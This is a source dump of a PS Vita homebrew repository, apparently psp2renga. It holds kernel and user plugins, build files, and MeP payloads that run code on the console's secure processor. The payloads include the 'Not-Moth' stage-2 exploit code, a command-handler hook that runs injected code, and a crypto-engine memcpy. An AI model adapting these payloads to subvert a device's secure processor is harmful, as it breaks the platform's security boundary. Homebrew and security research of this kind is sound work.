├── User ├── app │ ├── lv0_loader.vpk │ ├── CMakeLists.txt │ ├── main.c │ ├── debugScreen.h │ └── debugScreenFont.c └── plugin │ ├── _settings │ ├── console_info.xml │ ├── rengaUser.yml │ ├── CMakeLists.txt │ └── rengaUser.c │ ├── _forcephy │ ├── rengaUserFphy.yml │ ├── rengaUserFphy.c │ └── CMakeLists.txt │ └── _forcesram │ ├── rengaUserFsram.yml │ ├── rengaUserFsram.c │ └── CMakeLists.txt ├── Misc ├── Renga │ ├── Samples │ │ ├── PayloadGetCurrentCfgPaddr │ │ │ ├── main.c │ │ │ └── Makefile │ │ └── UserDecryptedSmLoad-dsll_mdr72 │ │ │ ├── CMakeLists.txt │ │ │ ├── main.c │ │ │ ├── debugScreen.h │ │ │ └── debugScreenFont.c │ └── Payloads │ │ └── mepcpy │ │ ├── Makefile │ │ └── main.c ├── NMPRunner │ ├── Samples │ │ ├── IncludeMemcpySample │ │ │ ├── memcpy_sample.yml │ │ │ ├── logging.h │ │ │ ├── CMakeLists.txt │ │ │ └── main.c │ │ ├── IncludeSecureDumpSample │ │ │ ├── secure_dump_sample.yml │ │ │ ├── logging.h │ │ │ ├── CMakeLists.txt │ │ │ └── main.c │ │ └── PayloadBigmacSample │ │ │ ├── Makefile │ │ │ ├── types.h │ │ │ └── main.c │ └── Payloads │ │ ├── stage2_60 │ │ ├── main.c │ │ └── Makefile │ │ └── stage2_71 │ │ ├── main.c │ │ └── Makefile └── NMFManager │ └── Payloads │ ├── swap_bank │ ├── main.c │ └── Makefile │ ├── framework │ ├── main.c │ └── Makefile │ ├── manager │ ├── Makefile │ └── main.c │ ├── acmdh_hook │ ├── Makefile │ └── main.c │ └── cp_payload │ ├── Makefile │ └── main.c ├── Include ├── types.h ├── renga-defs.h ├── renga_user-funcs.h ├── renga-funcs.h ├── nmprunner.h └── nmfmanager.h ├── LICENSE.txt ├── Kernel ├── psp2renga.yml ├── logging.h ├── CMakeLists.txt ├── user.h └── main.c └── README.md /User/app/lv0_loader.vpk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SKGleba/psp2renga/HEAD/User/app/lv0_loader.vpk -------------------------------------------------------------------------------- /User/plugin/_settings/console_info.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SKGleba/psp2renga/HEAD/User/plugin/_settings/console_info.xml -------------------------------------------------------------------------------- /User/plugin/_settings/rengaUser.yml: -------------------------------------------------------------------------------- 1 | rengaUser: 2 | attributes: 0 3 | version: 4 | major: 1 5 | minor: 1 6 | main: 7 | start: module_start 8 | stop: module_stop 9 | -------------------------------------------------------------------------------- /Misc/Renga/Samples/PayloadGetCurrentCfgPaddr/main.c: -------------------------------------------------------------------------------- 1 | #include "../../../../Include/renga-defs.h" 2 | unsigned int _start(u32_t cfg_paddr, unsigned int fcmd) { 3 | return cfg_paddr; 4 | } 5 | -------------------------------------------------------------------------------- /User/plugin/_forcephy/rengaUserFphy.yml: -------------------------------------------------------------------------------- 1 | rengaUserFphy: 2 | attributes: 0 3 | version: 4 | major: 1 5 | minor: 1 6 | main: 7 | start: module_start 8 | stop: module_stop 9 | -------------------------------------------------------------------------------- /User/plugin/_forcesram/rengaUserFsram.yml: -------------------------------------------------------------------------------- 1 | rengaUserFsram: 2 | attributes: 0 3 | version: 4 | major: 1 5 | minor: 1 6 | main: 7 | start: module_start 8 | stop: module_stop 9 | -------------------------------------------------------------------------------- /Misc/NMPRunner/Samples/IncludeMemcpySample/memcpy_sample.yml: -------------------------------------------------------------------------------- 1 | memcpy_sample: 2 | attributes: 0 3 | version: 4 | major: 1 5 | minor: 1 6 | main: 7 | start: module_start 8 | stop: module_stop 9 | -------------------------------------------------------------------------------- /Misc/NMPRunner/Samples/IncludeSecureDumpSample/secure_dump_sample.yml: -------------------------------------------------------------------------------- 1 | secure_dump_sample: 2 | attributes: 0 3 | version: 4 | major: 1 5 | minor: 1 6 | main: 7 | start: module_start 8 | stop: module_stop 9 | -------------------------------------------------------------------------------- /Include/types.h: -------------------------------------------------------------------------------- 1 | typedef unsigned char uint8_t; ///< Unsigned 8-bit type 2 | typedef unsigned short int uint16_t; ///< Unsigned 16-bit type 3 | typedef unsigned int uint32_t; ///< Unsigned 32-bit type 4 | typedef unsigned long long uint64_t; ///< Unsigned 64-bit type 5 | typedef unsigned size_t; 6 | -------------------------------------------------------------------------------- /User/plugin/_forcephy/rengaUserFphy.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../../../Include/renga_user-funcs.h" 3 | 4 | void _start() __attribute__ ((weak, alias ("module_start"))); 5 | int module_start(SceSize argc, const void *args) { 6 | renga_xet_bank_for_user(2); 7 | return SCE_KERNEL_START_SUCCESS; 8 | } 9 | 10 | int module_stop(SceSize argc, const void *args) { 11 | return SCE_KERNEL_STOP_SUCCESS; 12 | } 13 | -------------------------------------------------------------------------------- /User/plugin/_forcesram/rengaUserFsram.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../../../Include/renga_user-funcs.h" 3 | 4 | void _start() __attribute__ ((weak, alias ("module_start"))); 5 | int module_start(SceSize argc, const void *args) { 6 | renga_xet_bank_for_user(1); 7 | return SCE_KERNEL_START_SUCCESS; 8 | } 9 | 10 | int module_stop(SceSize argc, const void *args) { 11 | return SCE_KERNEL_STOP_SUCCESS; 12 | } 13 | -------------------------------------------------------------------------------- /Misc/NMFManager/Payloads/swap_bank/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | NMFramework by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | #include "../../../../Include/renga-defs.h" 7 | 8 | // Copy the framework and hook sm_load & uirq_handle 9 | u32_t __attribute__((optimize("O0"))) _start(u32_t paddr) { 10 | NMFfm_nfo *fmnfo = (void *)*(u32_t *)0x00809e80; 11 | *(u32_t *)0x00809e80 = (u32_t)fmnfo->cucnfo.unused; 12 | return 0x6934; 13 | } -------------------------------------------------------------------------------- /Misc/NMPRunner/Payloads/stage2_60/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | NMPRunner by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | 7 | /* 8 | Stage 2 payload for Not-Moth: 9 | - execute "big" code @0x1C010100 10 | - clean r0 11 | - jmp back to update_sm's 0xd0002 12 | Tested on 3.60 - 3.70 13 | */ 14 | 15 | void _start(void) { 16 | __asm__ ( 17 | "movh $0, 0x1C01\n" 18 | "or3 $0, $0, 0x100\n" 19 | "jsr $0\n" 20 | "movh $0, 0x0\n" 21 | "movu $3, 0x80bd26\n" 22 | "jmp $3\n" 23 | ); 24 | } 25 | -------------------------------------------------------------------------------- /Misc/NMPRunner/Payloads/stage2_71/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | NMPRunner by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | 7 | /* 8 | Stage 2 payload for Not-Moth: 9 | - execute "big" code @0x1C010100 10 | - clean r0 11 | - jmp back to update_sm's 0xd0002 12 | Tested on 3.71 - 3.73 13 | */ 14 | 15 | void _start(void) { 16 | __asm__ ( 17 | "movh $0, 0x1C01\n" 18 | "or3 $0, $0, 0x100\n" 19 | "jsr $0\n" 20 | "movh $0, 0x0\n" 21 | "movu $3, 0x80bd8c\n" 22 | "jmp $3\n" 23 | ); 24 | } 25 | -------------------------------------------------------------------------------- /Misc/NMFManager/Payloads/framework/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | NMFramework by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | #include "../../../../Include/renga-defs.h" 7 | 8 | // Check manager magic and jump to it 9 | void _start(void) { 10 | NMFfm_nfo *fmnfo = (void *)*(u32_t *)0x00809e80; 11 | if (fmnfo->do_use == 1) { 12 | u8_t (*sm_cmgr)() = (void*)((u32_t)fmnfo->mgrpaddr); 13 | fmnfo->status = sm_cmgr(); 14 | } 15 | void (*set_status)() = (void*)((u32_t)0x00802010); 16 | set_status(5); 17 | return; 18 | } 19 | -------------------------------------------------------------------------------- /Misc/Renga/Samples/PayloadGetCurrentCfgPaddr/Makefile: -------------------------------------------------------------------------------- 1 | PREFIX=mep-elf- 2 | CC=$(PREFIX)gcc 3 | CFLAGS=-fno-delete-null-pointer-checks -nostdlib -fno-optimize-sibling-calls -mc=tiny -Os -std=gnu99 -mel 4 | LOADER_CFLAGS=-nostdlib -mc=far -mtf -ml -Os -std=gnu99 -mel 5 | LD=$(PREFIX)gcc 6 | LDFLAGS= -nodefaultlibs -nostdlib 7 | OBJCOPY=$(PREFIX)objcopy 8 | OBJCOPYFLAGS= 9 | 10 | OBJ=main.o 11 | 12 | all: payload.nmp 13 | 14 | %.o: %.c 15 | $(CC) -c -o $@ $< $(CFLAGS) 16 | 17 | %.ao: %.S 18 | $(CC) -c -o $@ $< $(CFLAGS) 19 | 20 | payload.elf: $(OBJ) 21 | $(LD) -o $@ $^ $(LDFLAGS) 22 | 23 | %.nmp: %.elf 24 | $(OBJCOPY) -O binary $< $@ 25 | -------------------------------------------------------------------------------- /Misc/NMPRunner/Samples/PayloadBigmacSample/Makefile: -------------------------------------------------------------------------------- 1 | PREFIX=mep-elf- 2 | CC=$(PREFIX)gcc 3 | CFLAGS=-fno-delete-null-pointer-checks -nostdlib -fno-optimize-sibling-calls -mc=tiny -Os -std=gnu99 -mel 4 | LOADER_CFLAGS=-nostdlib -mc=far -mtf -ml -Os -std=gnu99 -mel 5 | LD=$(PREFIX)gcc 6 | LDFLAGS= -nodefaultlibs -nostdlib 7 | OBJCOPY=$(PREFIX)objcopy 8 | OBJCOPYFLAGS= 9 | 10 | OBJ=main.o 11 | 12 | all: payload.nmp 13 | 14 | %.o: %.c 15 | $(CC) -c -o $@ $< $(CFLAGS) 16 | 17 | %.ao: %.S 18 | $(CC) -c -o $@ $< $(CFLAGS) 19 | 20 | payload.elf: $(OBJ) 21 | $(LD) -o $@ $^ $(LDFLAGS) 22 | 23 | %.h: %.nmp 24 | xxd -i $< > $@ 25 | 26 | %.nmp: %.elf 27 | $(OBJCOPY) -O binary $< $@ 28 | -------------------------------------------------------------------------------- /Misc/Renga/Payloads/mepcpy/Makefile: -------------------------------------------------------------------------------- 1 | PREFIX=mep-elf- 2 | CC=$(PREFIX)gcc 3 | CFLAGS=-fno-delete-null-pointer-checks -nostdlib -fno-optimize-sibling-calls -mc=tiny -Os -std=gnu99 -mel 4 | LOADER_CFLAGS=-nostdlib -mc=far -mtf -ml -Os -std=gnu99 -mel 5 | LD=$(PREFIX)gcc 6 | LDFLAGS= -nodefaultlibs -nostdlib 7 | OBJCOPY=$(PREFIX)objcopy 8 | OBJCOPYFLAGS= 9 | 10 | OBJ=main.o 11 | 12 | all: mepcpy.h 13 | 14 | %.o: %.c 15 | $(CC) -c -o $@ $< $(CFLAGS) 16 | 17 | %.ao: %.S 18 | $(CC) -c -o $@ $< $(CFLAGS) 19 | 20 | mepcpy.elf: $(OBJ) 21 | $(LD) -o $@ $^ $(LDFLAGS) 22 | 23 | %.nmp: %.elf 24 | $(OBJCOPY) -O binary $< $@ 25 | 26 | %.h: %.nmp 27 | xxd -i $< > $@ 28 | rm *.elf 29 | rm *.o -------------------------------------------------------------------------------- /Misc/NMFManager/Payloads/manager/Makefile: -------------------------------------------------------------------------------- 1 | PREFIX=mep-elf- 2 | CC=$(PREFIX)gcc 3 | CFLAGS=-fno-delete-null-pointer-checks -nostdlib -fno-optimize-sibling-calls -mc=tiny -Os -std=gnu99 -mel 4 | LOADER_CFLAGS=-nostdlib -mc=far -mtf -ml -Os -std=gnu99 -mel 5 | LD=$(PREFIX)gcc 6 | LDFLAGS= -nodefaultlibs -nostdlib 7 | OBJCOPY=$(PREFIX)objcopy 8 | OBJCOPYFLAGS= 9 | 10 | OBJ=main.o 11 | 12 | all: manager.h 13 | 14 | %.o: %.c 15 | $(CC) -c -o $@ $< $(CFLAGS) 16 | 17 | %.ao: %.S 18 | $(CC) -c -o $@ $< $(CFLAGS) 19 | 20 | manager.elf: $(OBJ) 21 | $(LD) -o $@ $^ $(LDFLAGS) 22 | 23 | %.nmp: %.elf 24 | $(OBJCOPY) -O binary $< $@ 25 | 26 | %.h: %.nmp 27 | xxd -i $< > $@ 28 | rm *.elf 29 | rm *.o 30 | -------------------------------------------------------------------------------- /Misc/NMFManager/Payloads/swap_bank/Makefile: -------------------------------------------------------------------------------- 1 | PREFIX=mep-elf- 2 | CC=$(PREFIX)gcc 3 | CFLAGS=-fno-delete-null-pointer-checks -nostdlib -fno-optimize-sibling-calls -mc=tiny -Os -std=gnu99 -mel 4 | LOADER_CFLAGS=-nostdlib -mc=far -mtf -ml -Os -std=gnu99 -mel 5 | LD=$(PREFIX)gcc 6 | LDFLAGS= -nodefaultlibs -nostdlib 7 | OBJCOPY=$(PREFIX)objcopy 8 | OBJCOPYFLAGS= 9 | 10 | OBJ=main.o 11 | 12 | all: swap_bank.h 13 | 14 | %.o: %.c 15 | $(CC) -c -o $@ $< $(CFLAGS) 16 | 17 | %.ao: %.S 18 | $(CC) -c -o $@ $< $(CFLAGS) 19 | 20 | swap_bank.elf: $(OBJ) 21 | $(LD) -o $@ $^ $(LDFLAGS) 22 | 23 | %.nmp: %.elf 24 | $(OBJCOPY) -O binary $< $@ 25 | 26 | %.h: %.nmp 27 | xxd -i $< > $@ 28 | rm *.elf 29 | rm *.o -------------------------------------------------------------------------------- /Misc/NMPRunner/Payloads/stage2_60/Makefile: -------------------------------------------------------------------------------- 1 | PREFIX=mep-elf- 2 | CC=$(PREFIX)gcc 3 | CFLAGS=-fno-delete-null-pointer-checks -nostdlib -fno-optimize-sibling-calls -mc=tiny -Os -std=gnu99 -mel 4 | LOADER_CFLAGS=-nostdlib -mc=far -mtf -ml -Os -std=gnu99 -mel 5 | LD=$(PREFIX)gcc 6 | LDFLAGS= -nodefaultlibs -nostdlib 7 | OBJCOPY=$(PREFIX)objcopy 8 | OBJCOPYFLAGS= 9 | 10 | OBJ=main.o 11 | 12 | all: stage2_60.h 13 | 14 | %.o: %.c 15 | $(CC) -c -o $@ $< $(CFLAGS) 16 | 17 | %.ao: %.S 18 | $(CC) -c -o $@ $< $(CFLAGS) 19 | 20 | stage2_60.elf: $(OBJ) 21 | $(LD) -o $@ $^ $(LDFLAGS) 22 | 23 | %.nmp: %.elf 24 | $(OBJCOPY) -O binary $< $@ 25 | 26 | %.h: %.nmp 27 | xxd -i $< > $@ 28 | rm *.elf 29 | rm *.o 30 | -------------------------------------------------------------------------------- /Misc/NMPRunner/Payloads/stage2_71/Makefile: -------------------------------------------------------------------------------- 1 | PREFIX=mep-elf- 2 | CC=$(PREFIX)gcc 3 | CFLAGS=-fno-delete-null-pointer-checks -nostdlib -fno-optimize-sibling-calls -mc=tiny -Os -std=gnu99 -mel 4 | LOADER_CFLAGS=-nostdlib -mc=far -mtf -ml -Os -std=gnu99 -mel 5 | LD=$(PREFIX)gcc 6 | LDFLAGS= -nodefaultlibs -nostdlib 7 | OBJCOPY=$(PREFIX)objcopy 8 | OBJCOPYFLAGS= 9 | 10 | OBJ=main.o 11 | 12 | all: stage2_71.h 13 | 14 | %.o: %.c 15 | $(CC) -c -o $@ $< $(CFLAGS) 16 | 17 | %.ao: %.S 18 | $(CC) -c -o $@ $< $(CFLAGS) 19 | 20 | stage2_71.elf: $(OBJ) 21 | $(LD) -o $@ $^ $(LDFLAGS) 22 | 23 | %.nmp: %.elf 24 | $(OBJCOPY) -O binary $< $@ 25 | 26 | %.h: %.nmp 27 | xxd -i $< > $@ 28 | rm *.elf 29 | rm *.o 30 | -------------------------------------------------------------------------------- /Misc/NMFManager/Payloads/acmdh_hook/Makefile: -------------------------------------------------------------------------------- 1 | PREFIX=mep-elf- 2 | CC=$(PREFIX)gcc 3 | CFLAGS=-fno-delete-null-pointer-checks -nostdlib -fno-optimize-sibling-calls -mc=tiny -Os -std=gnu99 -mel 4 | LOADER_CFLAGS=-nostdlib -mc=far -mtf -ml -Os -std=gnu99 -mel 5 | LD=$(PREFIX)gcc 6 | LDFLAGS= -nodefaultlibs -nostdlib 7 | OBJCOPY=$(PREFIX)objcopy 8 | OBJCOPYFLAGS= 9 | 10 | OBJ=main.o 11 | 12 | all: fcmdh_hook.h 13 | 14 | %.o: %.c 15 | $(CC) -c -o $@ $< $(CFLAGS) 16 | 17 | %.ao: %.S 18 | $(CC) -c -o $@ $< $(CFLAGS) 19 | 20 | fcmdh_hook.elf: $(OBJ) 21 | $(LD) -o $@ $^ $(LDFLAGS) 22 | 23 | %.nmp: %.elf 24 | $(OBJCOPY) -O binary $< $@ 25 | 26 | %.h: %.nmp 27 | xxd -i $< > $@ 28 | rm *.elf 29 | rm *.o 30 | -------------------------------------------------------------------------------- /Misc/NMFManager/Payloads/framework/Makefile: -------------------------------------------------------------------------------- 1 | PREFIX=mep-elf- 2 | CC=$(PREFIX)gcc 3 | CFLAGS=-fno-delete-null-pointer-checks -nostdlib -fno-optimize-sibling-calls -mc=tiny -Os -std=gnu99 -mel 4 | LOADER_CFLAGS=-nostdlib -mc=far -mtf -ml -Os -std=gnu99 -mel 5 | LD=$(PREFIX)gcc 6 | LDFLAGS= -nodefaultlibs -nostdlib 7 | OBJCOPY=$(PREFIX)objcopy 8 | OBJCOPYFLAGS= 9 | 10 | OBJ=main.o 11 | 12 | all: framework.h 13 | 14 | %.o: %.c 15 | $(CC) -c -o $@ $< $(CFLAGS) 16 | 17 | %.ao: %.S 18 | $(CC) -c -o $@ $< $(CFLAGS) 19 | 20 | framework.elf: $(OBJ) 21 | $(LD) -o $@ $^ $(LDFLAGS) 22 | 23 | %.nmp: %.elf 24 | $(OBJCOPY) -O binary $< $@ 25 | 26 | %.h: %.nmp 27 | xxd -i $< > $@ 28 | rm *.elf 29 | rm *.o 30 | -------------------------------------------------------------------------------- /Misc/NMFManager/Payloads/cp_payload/Makefile: -------------------------------------------------------------------------------- 1 | PREFIX=mep-elf- 2 | CC=$(PREFIX)gcc 3 | CFLAGS=-fno-delete-null-pointer-checks -nostdlib -fno-optimize-sibling-calls -mc=tiny -Os -std=gnu99 -mel 4 | LOADER_CFLAGS=-nostdlib -mc=far -mtf -ml -Os -std=gnu99 -mel 5 | LD=$(PREFIX)gcc 6 | LDFLAGS= -nodefaultlibs -nostdlib 7 | OBJCOPY=$(PREFIX)objcopy 8 | OBJCOPYFLAGS= 9 | 10 | OBJ=main.o 11 | 12 | all: inject_framework.h 13 | 14 | %.o: %.c 15 | $(CC) -c -o $@ $< $(CFLAGS) 16 | 17 | %.ao: %.S 18 | $(CC) -c -o $@ $< $(CFLAGS) 19 | 20 | inject_framework.elf: $(OBJ) 21 | $(LD) -o $@ $^ $(LDFLAGS) 22 | 23 | %.nmp: %.elf 24 | $(OBJCOPY) -O binary $< $@ 25 | 26 | %.h: %.nmp 27 | xxd -i $< > $@ 28 | rm *.elf 29 | rm *.o -------------------------------------------------------------------------------- /Misc/NMPRunner/Samples/PayloadBigmacSample/types.h: -------------------------------------------------------------------------------- 1 | /* simpleserial for f00d 2 | * 3 | * Copyright (C) 2018 molecule 4 | * 5 | * This software may be modified and distributed under the terms 6 | * of the MIT license. See the LICENSE file for details. 7 | */ 8 | #pragma once 9 | 10 | /** \name Fixed width integers 11 | * @{ 12 | */ 13 | typedef unsigned char u8_t; ///< Unsigned 8-bit type 14 | typedef unsigned short int u16_t; ///< Unsigned 16-bit type 15 | typedef unsigned int u32_t; ///< Unsigned 32-bit type 16 | typedef unsigned long long u64_t; ///< Unsigned 64-bit type 17 | 18 | typedef u64_t u64; 19 | typedef u32_t u32; 20 | typedef u16_t u16; 21 | typedef u8_t u8; 22 | 23 | typedef unsigned size_t; 24 | -------------------------------------------------------------------------------- /Misc/NMFManager/Payloads/acmdh_hook/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | NMFramework by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | #include "../../../../Include/renga-defs.h" 7 | 8 | // Execute code if requested or resume the CMDhandler 9 | void _start(void) { 10 | unsigned int acmd = *(unsigned int *)0xe0000010; // get ARM cmd 11 | NMFfm_nfo *fmnfo = (void *)*(u32_t *)0x00809e80; // framework cfg 12 | if (fmnfo->cucnfo.paddr > 0) { 13 | u32_t (*ccode)(u32_t cfg_paddr, unsigned int fcmd) = (void*)((u32_t)fmnfo->cucnfo.paddr); 14 | fmnfo->cucnfo.resp = ccode(*(u32_t *)0x00809e80, acmd); // run user code, store ret in fmnfo->cucnfo.resp 15 | fmnfo->cucnfo.paddr = 0; // make sure to not run more than once 16 | } else { 17 | void (*fcmd_handler)(unsigned int fcmd) = (void*)((u32_t)0x00800adc); 18 | fcmd_handler(acmd); // run cmd handler as usual 19 | } 20 | return; 21 | } -------------------------------------------------------------------------------- /Misc/NMPRunner/Samples/IncludeMemcpySample/logging.h: -------------------------------------------------------------------------------- 1 | #define LOG_LOC "ux0:data/memcpy_sample.log" 2 | 3 | #define LOG(...) \ 4 | do { \ 5 | char buffer[256]; \ 6 | snprintf(buffer, sizeof(buffer), ##__VA_ARGS__); \ 7 | logg(buffer, strlen(buffer), LOG_LOC, 2); \ 8 | } while (0) 9 | 10 | #define LOG_START(...) \ 11 | do { \ 12 | char buffer[256]; \ 13 | snprintf(buffer, sizeof(buffer), ##__VA_ARGS__); \ 14 | logg(buffer, strlen(buffer), LOG_LOC, 1); \ 15 | } while (0) 16 | 17 | static int logg(void *buffer, int length, const char* logloc, int create) 18 | { 19 | int fd; 20 | if (create == 0) { 21 | fd = ksceIoOpen(logloc, SCE_O_WRONLY | SCE_O_APPEND, 6); 22 | } else if (create == 1) { 23 | fd = ksceIoOpen(logloc, SCE_O_WRONLY | SCE_O_TRUNC | SCE_O_CREAT, 6); 24 | } else if (create == 2) { 25 | fd = ksceIoOpen(logloc, SCE_O_WRONLY | SCE_O_APPEND | SCE_O_CREAT, 6); 26 | } 27 | if (fd < 0) 28 | return 0; 29 | 30 | ksceIoWrite(fd, buffer, length); 31 | ksceIoClose(fd); 32 | return 1; 33 | } -------------------------------------------------------------------------------- /Misc/NMPRunner/Samples/IncludeSecureDumpSample/logging.h: -------------------------------------------------------------------------------- 1 | #define LOG_LOC "ux0:data/secure_dump_sample.log" 2 | 3 | #define LOG(...) \ 4 | do { \ 5 | char buffer[256]; \ 6 | snprintf(buffer, sizeof(buffer), ##__VA_ARGS__); \ 7 | logg(buffer, strlen(buffer), LOG_LOC, 2); \ 8 | } while (0) 9 | 10 | #define LOG_START(...) \ 11 | do { \ 12 | char buffer[256]; \ 13 | snprintf(buffer, sizeof(buffer), ##__VA_ARGS__); \ 14 | logg(buffer, strlen(buffer), LOG_LOC, 1); \ 15 | } while (0) 16 | 17 | static int logg(void *buffer, int length, const char* logloc, int create) 18 | { 19 | int fd; 20 | if (create == 0) { 21 | fd = ksceIoOpen(logloc, SCE_O_WRONLY | SCE_O_APPEND, 6); 22 | } else if (create == 1) { 23 | fd = ksceIoOpen(logloc, SCE_O_WRONLY | SCE_O_TRUNC | SCE_O_CREAT, 6); 24 | } else if (create == 2) { 25 | fd = ksceIoOpen(logloc, SCE_O_WRONLY | SCE_O_APPEND | SCE_O_CREAT, 6); 26 | } 27 | if (fd < 0) 28 | return 0; 29 | 30 | ksceIoWrite(fd, buffer, length); 31 | ksceIoClose(fd); 32 | return 1; 33 | } -------------------------------------------------------------------------------- /User/plugin/_forcephy/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.8) 2 | 3 | if(NOT DEFINED CMAKE_TOOLCHAIN_FILE) 4 | if(DEFINED ENV{VITASDK}) 5 | set(CMAKE_TOOLCHAIN_FILE "$ENV{VITASDK}/share/vita.toolchain.cmake" CACHE PATH "toolchain file") 6 | else() 7 | message(FATAL_ERROR "Please define VITASDK to point to your SDK path!") 8 | endif() 9 | endif() 10 | 11 | project(HENkaku) 12 | include("${VITASDK}/share/vita.cmake" REQUIRED) 13 | 14 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wl,-q -Wall -fshort-wchar -O3 -std=gnu99") 15 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11 -fno-rtti -fno-exceptions") 16 | 17 | include_directories( 18 | ) 19 | 20 | link_directories( 21 | ${CMAKE_CURRENT_BINARY_DIR} 22 | ${CMAKE_BINARY_DIR}/../../../Kernel/stubs 23 | ) 24 | 25 | add_executable(rengaUserFphy 26 | rengaUserFphy.c 27 | ) 28 | 29 | target_link_libraries(rengaUserFphy 30 | psp2renga_stub 31 | ) 32 | 33 | set_target_properties(rengaUserFphy 34 | PROPERTIES LINK_FLAGS "-nostdlib" 35 | ) 36 | 37 | vita_create_self(renga_forcephy.suprx rengaUserFphy 38 | UNSAFE 39 | CONFIG ${CMAKE_SOURCE_DIR}/rengaUserFphy.yml 40 | ) 41 | -------------------------------------------------------------------------------- /Misc/Renga/Payloads/mepcpy/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | psp2renga by SKGleba 3 | This software may be modified and distributed under the terms of the MIT license. 4 | See the LICENSE file for details. 5 | */ 6 | #include "../../../../Include/renga-defs.h" 7 | 8 | static volatile u32_t * const BIGMAC = (void *)0xE0050000; 9 | 10 | u32_t _start(u32_t cfg_paddr, unsigned int fcmd) { 11 | u32_t ret = 0; 12 | NMFfm_nfo *fmnfo = (void *)cfg_paddr; 13 | u32_t udst = *(u32_t *)((u32_t)fmnfo->cucnfo.unused); 14 | u32_t usrc = *(u32_t *)((u32_t)fmnfo->cucnfo.unused + 4); 15 | u32_t usz = *(u32_t *)((u32_t)fmnfo->cucnfo.unused + 8); 16 | u32_t device = *(u32_t *)((u32_t)fmnfo->cucnfo.unused + 12); 17 | if (device == 0) { 18 | u32_t (*pacpy)(int dst, int src, int sz) = (void*)((u32_t)0x00801016); 19 | ret = pacpy(udst, usrc, usz); 20 | } else { 21 | if (BIGMAC[9] & 1) { 22 | BIGMAC[7] = 0; 23 | while (BIGMAC[9] & 1) {} 24 | } 25 | BIGMAC[0] = usrc; 26 | BIGMAC[1] = udst; 27 | BIGMAC[2] = usz; 28 | BIGMAC[3] = 0x2080 & 0xfffffff8; 29 | BIGMAC[7] = 1; 30 | while (BIGMAC[9] & 1) {} 31 | ret = BIGMAC[9]; 32 | } 33 | return ret; 34 | } 35 | -------------------------------------------------------------------------------- /User/plugin/_forcesram/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.8) 2 | 3 | if(NOT DEFINED CMAKE_TOOLCHAIN_FILE) 4 | if(DEFINED ENV{VITASDK}) 5 | set(CMAKE_TOOLCHAIN_FILE "$ENV{VITASDK}/share/vita.toolchain.cmake" CACHE PATH "toolchain file") 6 | else() 7 | message(FATAL_ERROR "Please define VITASDK to point to your SDK path!") 8 | endif() 9 | endif() 10 | 11 | project(HENkaku) 12 | include("${VITASDK}/share/vita.cmake" REQUIRED) 13 | 14 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wl,-q -Wall -fshort-wchar -O3 -std=gnu99") 15 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11 -fno-rtti -fno-exceptions") 16 | 17 | include_directories( 18 | ) 19 | 20 | link_directories( 21 | ${CMAKE_CURRENT_BINARY_DIR} 22 | ${CMAKE_BINARY_DIR}/../../../Kernel/stubs 23 | ) 24 | 25 | add_executable(rengaUserFsram 26 | rengaUserFsram.c 27 | ) 28 | 29 | target_link_libraries(rengaUserFsram 30 | psp2renga_stub 31 | ) 32 | 33 | set_target_properties(rengaUserFsram 34 | PROPERTIES LINK_FLAGS "-nostdlib" 35 | ) 36 | 37 | vita_create_self(renga_forcesram.suprx rengaUserFsram 38 | UNSAFE 39 | CONFIG ${CMAKE_SOURCE_DIR}/rengaUserFsram.yml 40 | ) 41 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2019 SKGleba 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Kernel/psp2renga.yml: -------------------------------------------------------------------------------- 1 | psp2renga: 2 | attributes: 0 3 | version: 4 | major: 1 5 | minor: 2 6 | main: 7 | start: module_start 8 | stop: module_stop 9 | modules: 10 | rengaUser: 11 | syscall: true 12 | functions: 13 | - renga_set_logging_for_user 14 | - renga_force_commemblock_for_user 15 | - renga_work_commem_for_user 16 | - renga_get_status_for_user 17 | - renga_get_opmode_for_user 18 | - renga_set_opmode_for_user 19 | - renga_add_entry_for_user 20 | - renga_exec_code_for_user 